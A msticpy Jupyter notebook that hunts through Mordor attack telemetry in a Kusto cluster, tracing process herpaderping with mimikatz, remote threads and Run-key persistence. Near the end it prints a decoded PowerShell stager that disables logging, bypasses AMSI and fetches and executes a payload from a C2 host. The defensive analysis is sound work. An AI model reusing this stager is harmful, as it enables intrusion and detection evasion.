The aim of this notebook is to provide an example of analysing security data from a custom Kusto aka Azure Data Explorer (ADE) cluster.
Kusto/ADE is a fast and highly scalable data exploration service for log and telemetry data, hosted in Azure - and is used across Microsoft for analysing huge datasets of this sort.
Kusto Explorer is an extremely useful tool for browsing and querying Kusto databases.
We use the Open Threat Research Forge Mordor Security Datasets, and assume that these have been loaded already into a Kusto/ADE cluster that you control.
___See: ./Kusto-Ingest.ipynb for details on data retrieval, prep and loading___.
from base64 import b64decode
from datetime import timedelta
import os
import tempfile
import msticpy
msticpy.init_notebook(
namespace=globals()
)
c:\users\liamkirton\documents\work\dev\msticpy\msticpy\msticpy\datamodel\pivot_register_reader.py:201: UserWarning: Could not create instance of class IPStackLookup. Exception was ('IPStack API key not found', '\nNo API Key was found to access the IPStack service.\nIf you do not have an account, go here to create one and obtain and API key.\n\nAdd this API key to your msticpyconfig.yaml\nAfter adding the key run the following commands to reload your settings and retry:\n import msticpy\n msticpy.settings.refresh_config()\n\nAlternatively, you can pass this to the IPStackLookup class when creating it:\n>>> iplookup = IPStackLookup(api_key="your_api_key")\n', 'Ensure that the path to your msticpyconfig.yaml is specified with the MSTICPYCONFIG environment variable.', 'Or ensure that a copy of this file is in the current directory.', 'https://msticpy.readthedocs.io/en/latest/data_acquisition/GeoIPLookups.html#ipstack-geo-lookup-class', ('Configuring msticpy', 'https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html'), 'https://ipstack.com/product') warnings.warn(
Notebook setup completed with some warnings.
One or more configuration items were missing or set incorrectly.
Please run the Getting Started Guide for Azure Sentinel ML Notebooks notebook. and the msticpy configuration guide.
This notebook may still run but with reduced functionality.
False
# Replace these with your own.
KUSTO_CLUSTER = 'msticpykustodemo.ukwest'
KUSTO_DATABASE = 'MsticPyKustoDemo'
# Write and load a temporary MSTICPY Config.
# Edit below, or alternatively, put the necessary config into your primary msticpyconfig.yaml and remove this code.
temp_dir = tempfile.TemporaryDirectory()
kusto_config_path = os.path.abspath(os.path.join(temp_dir.name, 'msticpyconfig-kusto-analysis-temp.yaml'))
kusto_query_path = os.path.abspath(os.path.join(temp_dir.name, 'queries'))
os.makedirs(kusto_query_path, exist_ok=True)
MSTICPY_KUSTO_CONFIG = f"""
Azure:
auth_methods:
- cli
cloud: global
DataProviders:
Kusto-MSTICPY:
Args:
Cluster: "https://{KUSTO_CLUSTER}.kusto.windows.net"
IntegratedAuth: true
QueryDefinitions:
Custom:
- {kusto_query_path}
"""
prev_config = os.environ['MSTICPYCONFIG']
try:
os.environ['MSTICPYCONFIG'] = kusto_config_path
with open(kusto_config_path, 'w') as f:
f.write(MSTICPY_KUSTO_CONFIG)
msticpy.settings.refresh_config()
finally:
os.unlink(kusto_config_path)
os.environ['MSTICPYCONFIG'] = prev_config
# Load the Kusto Query Provider and connect.
# The specified cluster must exist within your config.
kusto_prov = QueryProvider('Kusto')
kusto_prov.connect(cluster=KUSTO_CLUSTER, database=KUSTO_DATABASE)
Please wait. Loading Kqlmagic extension...done Connecting...
connected
# If everything is working correctly, you should have some data available to query!
event1_count = kusto_prov.exec_query('Event1 | count').iloc[0].Count
print('[+] Event1 #Records:', event1_count)
[+] Event1 #Records: 1240
See https://github.com/jxy-s/herpaderping for details, but briefly, the technique aims to bypass anti-virus detections by creating a suspended process from a legitimate/signed binary - then replacing this image with an illegitimate one prior to continuing execution.
We'll look at an example contained within the Mordor data.
# Search for processes created with the usefully named "ProcessHerpaderping.exe" Image:
herpaderping_processes = kusto_prov.exec_query("""
Event1
| where Image has "ProcessHerpaderping.exe"
| project Timestamp, Hostname, ProcessId, Image, CommandLine
""")
herpaderping_processes.head()
Timestamp | Hostname | ProcessId | Image | CommandLine | |
---|---|---|---|---|---|
0 | 2020-10-27 08:28:57.062000+00:00 | WORKSTATION5 | 10164 | C:\Users\wardog\Desktop\ProcessHerpaderping.exe | ProcessHerpaderping.exe mimikatz.exe wardog.exe C:\windows\System32\SnippingTool.exe |
# Take the first such process, and retrieve the child processes created by it within a 30s time window:
target_timestamp, target_hostname, target_processid = (
herpaderping_processes.iloc[0].Timestamp,
herpaderping_processes.iloc[0].Hostname,
herpaderping_processes.iloc[0].ProcessId
)
target_timestamp_range = (target_timestamp.isoformat(), (target_timestamp + timedelta(seconds=30)).isoformat())
child_processes = kusto_prov.exec_query(f"""
Event1
| where Timestamp >= datetime({target_timestamp_range[0]}) and Timestamp < datetime({target_timestamp_range[1]})
| where Hostname == "{target_hostname}"
| where ParentProcessId == "{target_processid}"
| order by Timestamp asc
""")
child_processes.head()
ProcessId | ProcessGuid | Task | Version | Domain | Keywords | AccountName | SourceName | UserID | Hostname | EventTime | ExecutionProcessID | Image | SeverityValue | Severity | EventID | EventReceivedTime | RecordNumber | SourceModuleType | ThreadID | Message | UtcTime | ProviderGuid | SourceModuleName | EventType | ... | FileVersion | Description | Hashes | OriginalFileName | Product | Company | LogonGuid | ParentCommandLine | TerminalSessionId | CommandLine | ParentProcessGuid | ParentProcessId | ParentImage | IntegrityLevel | CurrentDirectory | LogonId | Timestamp | Port | Tags | Host | ProcessID | ERROR_EVT_UNRESOLVED | Type | TimeCreated | Level | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 8924 | {39e4a257-1289-5f98-482d-000000000700} | 1 | NaN | 0x8000000000000000 | Microsoft-Windows-Sysmon | WORKSTATION5 | NaT | NaN | C:\Users\wardog\Desktop\wardog.exe | NaN | 1 | NaT | NaN | NaN | Process Create:\r\nRuleName: -\r\nUtcTime: 2020-10-27 12:28:57.129\r\nProcessGuid: {39e4a257-128... | 2020-10-27 12:28:57.129000+00:00 | {5770385f-c22a-43e0-bf4c-06f5698ffbd9} | ... | - | - | SHA1=350B60E6C16B72ECF64BBB5413D8A3DD6D76F33B,MD5=D57CA86AC22DC057456ACC7FDE4E492F,SHA256=6635E4... | - | - | - | {39e4a257-f1ac-5f8b-d961-0c0000000000} | ProcessHerpaderping.exe mimikatz.exe wardog.exe C:\windows\System32\SnippingTool.exe | 2.0 | "wardog.exe" | {39e4a257-1289-5f98-472d-000000000700} | 10164.0 | C:\Users\wardog\Desktop\ProcessHerpaderping.exe | High | C:\Users\wardog\Desktop\ | 0xc61d9 | 2020-10-27 08:28:57.420000+00:00 | NaN | NaN | NaN | 2020-10-27 08:28:57.420000+00:00 | 4.0 |
1 rows × 56 columns
# Now, for the first child process, retrieve the loaded images together with a few of their properties.
child_process_id = child_processes.iloc[0].ProcessId
child_process_image_loads = kusto_prov.exec_query(f"""
Event7
| where Timestamp >= datetime({target_timestamp_range[0]}) and Timestamp < datetime({target_timestamp_range[1]})
| where Hostname == "{target_hostname}"
| where ProcessId == {child_process_id}
| order by Timestamp asc
| project Timestamp, ProcessId, ImageLoaded, Signature, Description
""")
child_process_image_loads.head()
Timestamp | ProcessId | ImageLoaded | Signature | Description | |
---|---|---|---|---|---|
0 | 2020-10-27 08:28:57.556000+00:00 | 8924 | C:\Users\wardog\Desktop\wardog.exe | Microsoft Windows | mimikatz for Windows |
1 | 2020-10-27 08:28:57.557000+00:00 | 8924 | C:\Windows\System32\ntdll.dll | Microsoft Windows | NT Layer DLL |
2 | 2020-10-27 08:28:57.557000+00:00 | 8924 | C:\Windows\System32\kernel32.dll | Microsoft Windows | Windows NT BASE API Client DLL |
3 | 2020-10-27 08:28:57.557000+00:00 | 8924 | C:\Windows\System32\KernelBase.dll | Microsoft Windows | Windows NT BASE API Client DLL |
4 | 2020-10-27 08:28:57.585000+00:00 | 8924 | C:\Windows\System32\sechost.dll | Microsoft Windows | Host for SCM/SDDL/LSA Lookup APIs |
Let's explore Sysmon Event 8, which records Remote Thread Creations - whereby one process creates a thread within another.
remote_process_creations = kusto_prov.exec_query(f"""
Event8
| summarize Count=count() by SourceImage, TargetImage
| order by Count desc
""")
remote_process_creations.head()
SourceImage | TargetImage | Count | |
---|---|---|---|
0 | C:\Windows\System32\csrss.exe | C:\Windows\System32\svchost.exe | 197 |
1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\notepad.exe | 89 |
2 | C:\Windows\System32\csrss.exe | C:\Windows\System32\wbem\WmiPrvSE.exe | 4 |
3 | C:\Windows\System32\csrss.exe | C:\WindowsAzure\SecAgent\WaSecAgentProv.exe | 3 |
4 | C:\Windows\System32\csrss.exe | C:\Windows\System32\spoolsv.exe | 3 |
# csrss.exe creates a lot of remote threads, so let's filter that:
remote_process_creations = kusto_prov.exec_query(f"""
Event8
| where SourceImage !has "csrss.exe"
| summarize Count=count() by SourceImage, TargetImage
| order by Count desc
""")
remote_process_creations.head()
SourceImage | TargetImage | Count | |
---|---|---|---|
0 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\notepad.exe | 89 |
1 | C:\Windows\System32\dwm.exe | C:\Windows\System32\csrss.exe | 3 |
2 | C:\Windows\System32\wbem\WmiPrvSE.exe | C:\Windows\System32\notepad.exe | 1 |
3 | C:\Program Files\Internet Explorer\iexplore.exe | <unknown process> | 1 |
4 | C:\Windows\System32\wuauclt.exe | <unknown process> | 1 |
# Now, consider "PurpleSharp.exe", which looks interesting:
remote_process_creations = kusto_prov.exec_query(f"""
Event8
| where SourceImage has "PurpleSharp.exe"
| take 5
| project Timestamp, Hostname, SourceProcessId, SourceImage, TargetProcessId, TargetImage
""")
remote_process_creations.head()
Timestamp | Hostname | SourceProcessId | SourceImage | TargetProcessId | TargetImage | |
---|---|---|---|---|---|---|
0 | 2020-10-23 03:12:04.474000+00:00 | WORKSTATION5 | 8972 | C:\Users\wardog\Desktop\PurpleSharp.exe | 9908 | C:\Windows\System32\notepad.exe |
# Now, for the first child process (notepad.exe), retrieve any sub-processes that it itself created (it's not usual for Notepad to create children!)
target_timestamp, target_hostname, target_processid = (
remote_process_creations.iloc[0].Timestamp,
remote_process_creations.iloc[0].Hostname,
remote_process_creations.iloc[0].TargetProcessId
)
target_timestamp_range = (target_timestamp.isoformat(), (target_timestamp + timedelta(seconds=60)).isoformat())
child_process_image_loads = kusto_prov.exec_query(f"""
Event1
| where Timestamp >= datetime({target_timestamp_range[0]}) and Timestamp < datetime({target_timestamp_range[1]})
| where Hostname == "{target_hostname}"
| where ParentProcessId == {target_processid}
| order by Timestamp asc
| project Timestamp, Hostname, ParentProcessId, ProcessId, Image, CommandLine
""")
child_process_image_loads.head()
Timestamp | Hostname | ParentProcessId | ProcessId | Image | CommandLine | |
---|---|---|---|---|---|---|
0 | 2020-10-23 03:12:04.930000+00:00 | WORKSTATION5 | 9908.0 | 5232 | C:\Windows\System32\PING.EXE | "C:\Windows\System32\ping.exe" 127.0.0.1 -n 10 |
query_yaml = f"""
metadata:
version: 1
description: Kusto Queries
data_environments: [Kusto]
data_families: [demo.{KUSTO_DATABASE}]
cluster: https://{KUSTO_CLUSTER}.kusto.windows.net
tags: ["user"]
defaults:
parameters:
start:
description: Query start time
type: datetime
default: 2020-01-01T00:00:00Z
end:
description: Query end time
type: datetime
default: 2021-12-31T23:59:59Z
sources:
get_hosts:
description: List unique hosts seen creating processes within the time range
args:
query: '
Event1
| where Timestamp >= datetime({{start}}) and Timestamp < datetime({{end}})
| summarize EventCount=count() by Hostname
'
"""
try:
query_yaml_path = os.path.join(kusto_query_path, 'query_1.yaml')
with open(query_yaml_path, 'w') as f:
f.write(query_yaml)
# Re-instantiating causes our new query to be loaded.
kusto_prov = QueryProvider('Kusto')
kusto_prov.connect(cluster=KUSTO_CLUSTER, database=KUSTO_DATABASE)
finally:
os.unlink(query_yaml_path)
Connecting... connected
# We can now list our configured query
kusto_prov.list_queries()
['demo.MsticPyKustoDemo.get_hosts']
# And execute the query
kusto_prov.demo.MsticPyKustoDemo.get_hosts()
Hostname | EventCount | |
---|---|---|
0 | MORDORDC.mordor.local | 13 |
1 | WORKSTATION6.mordor.local | 4 |
2 | WORKSTATION5.mordor.local | 10 |
3 | WORKSTATION5.theshire.local | 798 |
4 | MORDORDC.theshire.local | 43 |
5 | WORKSTATION6.theshire.local | 232 |
6 | WORKSTATION5 | 119 |
7 | WORKSTATION7.theshire.local | 7 |
8 | MXS01.azsentinel.local | 13 |
# Alternatively, override the start and end parameters to run the query
# over a different time window
kusto_prov.demo.MsticPyKustoDemo.get_hosts(
start="2020-08-01T00:00:00Z",
end="2020-08-31T23:59:59Z"
)
Hostname | EventCount | |
---|---|---|
0 | WORKSTATION5.theshire.local | 16 |
1 | MORDORDC.theshire.local | 13 |
2 | WORKSTATION6.theshire.local | 15 |
# If you need help with a query, pass the parameter '?':
kusto_prov.demo.MsticPyKustoDemo.get_hosts('?')
Query: get_hosts Data source: Kusto List unique hosts seen creating processes within the time range Parameters ---------- end: datetime (optional) Query end time (default value is: 2021-12-31 23:59:59+00:00) start: datetime (optional) Query start time (default value is: 2020-01-01 00:00:00+00:00) Query: Event1 | where Timestamp >= datetime({start}) and Timestamp < datetime({end}) | summarize EventCount=count() by Hostname
# Note - this is a regex & format string.
# Within this, \'s are \'s (we don't need to write \\ to get a single backslash), and so
# \\'s are \\.
# We need \\'s within Kusto queries, because these are passed to Kusto's KQL compiler
# as a string, and Kusto needs \'s to be escaped.
query_yaml = rf"""
metadata:
version: 1
description: Kusto Queries
data_environments: [Kusto]
data_families: [demo.{KUSTO_DATABASE}]
cluster: https://{KUSTO_CLUSTER}.kusto.windows.net
tags: ["user"]
defaults:
parameters:
start:
description: Query start time
type: datetime
default: 2020-01-01T00:00:00Z
end:
description: Query end time
type: datetime
default: 2021-12-31T23:59:59Z
sources:
get_reg_asep_candidates:
description: Find potential registry ASEP writes
args:
query: '
Event13
| where Timestamp >= datetime({{start}}) and Timestamp < datetime({{end}})
| parse kind=regex Message with * "EventType:\\s" RegistryEventType "\\r\\n"
| where RegistryEventType == "SetValue"
| where TargetObject has "Windows\\CurrentVersion\\Run"
| project Timestamp, ProcessId, Image, RegistryEventType, TargetObject, Details
| order by Timestamp asc
'
get_process:
description: Find process creation event for given process ID
args:
query: '
Event1
| where Timestamp >= datetime({{start}}) and Timestamp < datetime({{end}})
| where ProcessId == {{process_id}}
| project Timestamp, ParentProcessId, Image, CommandLine
| order by Timestamp asc
'
parameters:
process_id:
description: Process ID
type: int
"""
try:
query_yaml_path = os.path.join(kusto_query_path, 'query_2.yaml')
with open(query_yaml_path, 'w') as f:
f.write(query_yaml)
# Re-instantiating causes our new query to be loaded.
kusto_prov = QueryProvider('Kusto')
kusto_prov.connect(cluster=KUSTO_CLUSTER, database=KUSTO_DATABASE)
finally:
os.unlink(query_yaml_path)
Connecting... connected
# Find potential candidates for an ASEP registry entry being created
kusto_prov.demo.MsticPyKustoDemo.get_reg_asep_candidates()
Timestamp | ProcessId | Image | RegistryEventType | TargetObject | Details | |
---|---|---|---|---|---|---|
0 | 2020-07-22 04:19:05.132000+00:00 | 9076 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | SetValue | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKLM:SOFTWARE\Microsoft... |
1 | 2020-09-04 07:06:22.490000+00:00 | 5376 | C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe | SetValue | HKU\S-1-5-21-3125456671-949036322-3048627137-1104\Software\Microsoft\Windows\CurrentVersion\Run\... | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKCU:Software\Microsoft... |
2 | 2020-09-04 07:09:05.126000+00:00 | 3200 | C:\Program Files\Windows Defender\MsMpEng.exe | SetValue | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender | "%%ProgramFiles%%\Windows Defender\MSASCuiL.exe" |
3 | 2020-09-04 20:45:18.639000+00:00 | 3176 | C:\Program Files\Windows Defender\MsMpEng.exe | SetValue | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender | "%%ProgramFiles%%\Windows Defender\MSASCuiL.exe" |
# Lookup the process creation event for the first candidate process returned
proc_record = kusto_prov.demo.MsticPyKustoDemo.get_process(process_id=9076)
proc_record.head()
Timestamp | ParentProcessId | Image | CommandLine | |
---|---|---|---|---|
0 | 2020-07-22 03:27:54.604000+00:00 | 9384.0 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBGACgAJABQAFM... |
# Examine the command line of this process
print(proc_record.iloc[0].CommandLine)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAHIAcwBJAG8ATgBUAGEAQgBMAGUALgBQAFMAVgBFAFIAUwBJAE8AbgAuAE0AQQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJAA1ADcAYQBmADAAPQBbAHIAZQBGAF0ALgBBAHMAUwBFAE0AQgBsAFkALgBHAEUAdABUAHkAUABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVQB0AGkAbABzACcAKQAuACIARwBFAFQARgBJAGUAYABMAGQAIgAoACcAYwBhAGMAaABlAGQARwByAG8AdQBwAFAAbwBsAGkAYwB5AFMAZQB0AHQAaQBuAGcAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEkAZgAoACQANQA3AGEAZgAwACkAewAkADQAOABhAGMANgA9ACQANQA3AEEAZgAwAC4ARwBFAHQAVgBhAEwAdQBlACgAJABuAHUATABsACkAOwBJAGYAKAAkADQAOABBAGMANgBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdACkAewAkADQAOABBAGMANgBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJAA0ADgAQQBjADYAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0AJAB2AGEATAA9AFsAQwBvAGwATABFAEMAVABpAE8ATgBzAC4ARwBlAE4ARQByAGkAYwAuAEQAaQBjAFQAaQBPAG4AYQByAFkAWwBzAHQAUgBpAE4ARwAsAFMAWQBTAFQAZQBNAC4ATwBCAGoAZQBjAHQAXQBdADoAOgBuAEUAVwAoACkAOwAkAFYAQQBMAC4AQQBEAEQAKAAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAHYAYQBMAC4AQQBkAGQAKAAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQANAA4AEEAYwA2AFsAJwBIAEsARQBZAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAkAFYAQQBsAH0ARQBMAHMAZQB7AFsAUwBDAFIASQBwAHQAQgBsAE8AYwBLAF0ALgAiAEcAZQB0AEYAaQBlAGAATABkACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAEEATABVAEUAKAAkAE4AdQBsAEwALAAoAE4ARQBXAC0ATwBCAEoARQBDAFQAIABDAG8ATABsAGUAYwB0AEkATwBuAFMALgBHAEUATgBFAFIAaQBDAC4ASABBAHMAaABTAEUAdABbAFMAdAByAEkATgBHAF0AKQApAH0AJABSAEUAZgA9AFsAUgBFAGYAXQAuAEEAUwBzAGUAbQBCAGwAeQAuAEcAZQB0AFQAWQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIAZQBGAC4ARwBlAHQARgBJAGUATABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAVABWAEEAbAB1AGUAKAAkAG4AdQBMAGwALAAkAHQAcgBVAGUAKQA7AH0AOwBbAFMAWQBTAFQARQBNAC4ATgBlAFQALgBTAEUAUgB2AGkAYwBFAFAAbwBJAG4AVABNAEEAbgBBAGcARQBSAF0AOgA6AEUAWABQAEUAQwBUADEAMAAwAEMAbwBOAFQASQBuAHUARQA9ADAAOwAkAGEAOQA0ADgANgA9AE4AZQB3AC0ATwBiAEoARQBDAFQAIABTAHkAcwBUAEUAbQAuAE4ARQB0AC4AVwBlAGIAQwBsAEkARQBOAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQARQB4AFQALgBFAG4AQwBPAGQAaQBuAGcAXQA6ADoAVQBOAEkAQwBvAGQARQAuAEcARQBUAFMAdAByAGkATgBHACgAWwBDAG8ATgBWAGUAUgB0AF0AOgA6AEYAUgBvAE0AQgBBAFMAZQA2ADQAUwB0AFIAaQBOAEcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAEwAZwBBAHgAQQBEAEEAQQBMAGcAQQB4AEEARABBAEEATABnAEEAMQBBAEQAbwBBAE8AQQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABBADkANAA4ADYALgBIAGUAYQBkAEUAcgBzAC4AQQBEAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABhADkANAA4ADYALgBQAFIATwBYAFkAPQBbAFMAeQBTAHQARQBtAC4ATgBlAFQALgBXAGUAYgBSAGUAUQB1AGUAcwB0AF0AOgA6AEQAZQBGAGEAVQBsAFQAVwBFAEIAUAByAE8AWABZADsAJABhADkANAA4ADYALgBQAFIATwBYAFkALgBDAFIAZQBkAEUATgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAUwBUAEUAbQAuAE4ARQB0AC4AQwByAGUARABFAE4AdABpAEEAbABDAGEAQwBIAGUAXQA6ADoARABFAGYAYQBVAEwAdABOAGUAdAB3AG8AUgBrAEMAUgBFAEQAZQBOAHQASQBBAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJABhADkANAA4ADYALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAFQARQBtAC4AVABlAFgAVAAuAEUAbgBDAG8ARABpAE4ARwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAFkAdABFAHMAKAAnADkAbABLAE0ATAAlAFQAQwAuAGoAbwA1AEgAQAA6AD8APgAwAG4AdQB2AFcAUwBlACoAYgBGAEkAfQBdAEUAQQAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAEcAUwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAFgAbwBSACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAEEAOQA0ADgANgAuAEgARQBBAEQAZQBSAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIASABDAHAATwBBAGMAbQBHAGQASQBPAEsAZwA9AGsAaABlAFQAegBZAGsAYgAyAFoATABJAEoAaQB0AGMANwBaAFgAbAA0AHgAeABzAHkAaABjAD0AIgApADsAJABkAGEAdABBAD0AJABhADkANAA4ADYALgBEAE8AdwBOAGwAbwBhAGQARABhAHQAQQAoACQAcwBlAFIAKwAkAFQAKQA7ACQASQB2AD0AJABEAEEAVABhAFsAMAAuAC4AMwBdADsAJABEAGEAVABhAD0AJABEAEEAVABhAFsANAAuAC4AJABkAGEAdABBAC4AbABFAG4ARwB0AGgAXQA7AC0AagBPAGkAbgBbAEMASABhAFIAWwBdAF0AKAAmACAAJABSACAAJABEAEEAdABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
# Decode the encoded PowerShell command
encoded_command = proc_record.iloc[0].CommandLine
encoded_command = encoded_command.split('-enc ')[1]
_, df_decoded = base64.unpack(encoded_command, utf16=True)
df_decoded.iloc[0].decoded_string
c:\users\liamkirton\documents\work\dev\msticpy\msticpy\msticpy\sectools\base64unpack.py:388: FutureWarning: The frame.append method is deprecated and will be removed from pandas in a future version. Use pandas.concat instead. df_results = df_results.append( c:\users\liamkirton\documents\work\dev\msticpy\msticpy\msticpy\sectools\base64unpack.py:388: FutureWarning: The frame.append method is deprecated and will be removed from pandas in a future version. Use pandas.concat instead. df_results = df_results.append( c:\users\liamkirton\documents\work\dev\msticpy\msticpy\msticpy\sectools\base64unpack.py:429: FutureWarning: The frame.append method is deprecated and will be removed from pandas in a future version. Use pandas.concat instead. df_results.append(child_records, ignore_index=True, sort=False),
'IF($PSVErsIoNTaBLe.PSVERSIOn.MAJoR -Ge 3){$57af0=[reF].AsSEMBlY.GEtTyPe(\'System.Management.Automation.Utils\')."GETFIe`Ld"(\'cachedGroupPolicySettings\',\'N\'+\'onPublic,Static\');If($57af0){$48ac6=$57Af0.GEtVaLue($nuLl);If($48Ac6[\'ScriptB\'+\'lockLogging\']){$48Ac6[\'ScriptB\'+\'lockLogging\'][\'EnableScriptB\'+\'lockLogging\']=0;$48Ac6[\'ScriptB\'+\'lockLogging\'][\'EnableScriptBlockInvocationLogging\']=0}$vaL=[ColLECTiONs.GeNEric.DicTiOnarY[stRiNG,SYSTeM.OBject]]::nEW();$VAL.ADD(\'EnableScriptB\'+\'lockLogging\',0);$vaL.Add(\'EnableScriptBlockInvocationLogging\',0);$48Ac6[\'HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptB\'+\'lockLogging\']=$VAl}ELse{[SCRIptBlOcK]."GetFie`Ld"(\'signatures\',\'N\'+\'onPublic,Static\').SetVALUE($NulL,(NEW-OBJECT CoLlectIOnS.GENERiC.HAshSEt[StrING]))}$REf=[REf].ASsemBly.GetTYPE(\'System.Management.Automation.Amsi\'+\'Utils\');$ReF.GetFIeLD(\'amsiInitF\'+\'ailed\',\'NonPublic,Static\').SeTVAlue($nuLl,$trUe);};[SYSTEM.NeT.SERvicEPoInTMAnAgER]::EXPECT100CoNTInuE=0;$a9486=New-ObJECT SysTEm.NEt.WebClIENt;$u=\'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\';$ser=$([TExT.EnCOding]::UNICodE.GETStriNG([CoNVeRt]::FRoMBASe64StRiNG(\'aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1ADoAOAAwAA==\')));$t=\'/login/process.php\';$A9486.HeadErs.ADd(\'User-Agent\',$u);$a9486.PROXY=[SyStEm.NeT.WebReQuest]::DeFaUlTWEBPrOXY;$a9486.PROXY.CRedENtials = [SySTEm.NEt.CreDENtiAlCaCHe]::DEfaULtNetwoRkCREDeNtIAls;$Script:Proxy = 